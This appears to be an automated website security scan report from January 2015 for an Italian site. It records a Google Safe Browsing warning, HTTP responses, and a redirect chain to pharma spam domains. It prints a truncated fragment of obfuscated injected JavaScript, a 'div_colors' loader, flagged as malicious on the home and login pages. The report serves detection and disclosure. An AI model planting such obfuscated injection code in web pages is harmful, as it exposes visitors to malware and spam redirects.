Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=ecoromasystem.it
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://ecoromasystem.it/ | HTTP/1.1 301 Moved Permanently Connection: close Date: Wed, 21 Jan 2015 07:59:30 GMT Location: http://www.ecoromasystem.it/ Server: Apache Content-Length: 236 Content-Type: text/html; charset=iso-8859-1 | clean |
http://www.ecoromasystem.it/ | 200 OK Content-Length: 3764 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) if (typeof(redef_colors)=="undefined") { var div_colors = new Array('#4b8272', '#81787f', '#832f83', '#887f74', '#4c3183', '#748783', '#3e7970', '#857082', '#728178', '#7f8331', '#2f8281', '#724c31', '#778383', '#7f493e', '#3e7071', '#787b7e', '#837081', '#7e823d', '#727e3d', '#72723e', '#79823e', '#798084', '#748188', '#3d7c78', '#7d3d7f', '#777f31', '#4d0000'); var redef_colors = 1; var colors_picked = 0; function div_pick_colors(t,styled) {var s = "";for (j=0;j<t.length;j++) {var c Antivirus reports:
| ||
http://www.ecoromasystem.it/index.php?main_page=login&zenid=194859954798c4e8498875993ddb722a | 200 OK Content-Length: 41485 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) if (typeof(redef_colors)=="undefined") { var div_colors = new Array('#4b8272', '#81787f', '#832f83', '#887f74', '#4c3183', '#748783', '#3e7970', '#857082', '#728178', '#7f8331', '#2f8281', '#724c31', '#778383', '#7f493e', '#3e7071', '#787b7e', '#837081', '#7e823d', '#727e3d', '#72723e', '#79823e', '#798084', '#748188', '#3d7c78', '#7d3d7f', '#777f31', '#4d0000'); var redef_colors = 1; var colors_picked = 0; function div_pick_colors(t,styled) {var s = "";for (j=0;j<t.length;j++) {var c Antivirus reports:
| ||
http://www.ecoromasystem.it/test404page.js | HTTP/1.1 302 Found Connection: close Date: Wed, 21 Jan 2015 07:59:33 GMT Location: http://2015-best-pharma.com/ Server: Apache/2.2 Content-Length: 212 Content-Type: text/html; charset=iso-8859-1 | clean |
http://2015-best-pharma.com/ | HTTP/1.1 302 Found Connection: close Date: Wed, 21 Jan 2015 07:59:34 GMT Location: http://curingfirstservices.com Server: nginx Vary: Accept-Encoding,User-Agent Content-Length: 0 Content-Type: text/html; charset=UTF-8 X-Powered-By: PHP/5.3.3 | clean |
http://curingfirstservices.com/ | 403 Forbidden Content-Length: 168 Content-Type: text/html | clean |
http://curingfirstservices.com/test404page.js | 403 Forbidden Content-Length: 168 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: ecoromasystem.it
Result:
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Wed, 21 Jan 2015 07:59:30 GMT
Location: http://www.ecoromasystem.it/
Server: Apache
Content-Length: 236
Content-Type: text/html; charset=iso-8859-1
...236 bytes of data.
GET / HTTP/1.1
Host: ecoromasystem.it
Result:
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Wed, 21 Jan 2015 07:59:30 GMT
Location: http://www.ecoromasystem.it/
Server: Apache
Content-Length: 236
Content-Type: text/html; charset=iso-8859-1
...236 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: ecoromasystem.it
Referer: http://www.google.com/search?q=ecoromasystem.it
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: ecoromasystem.it
Referer: http://www.google.com/search?q=ecoromasystem.it
Result:
The result is similar to the first query. There are no suspicious redirects found.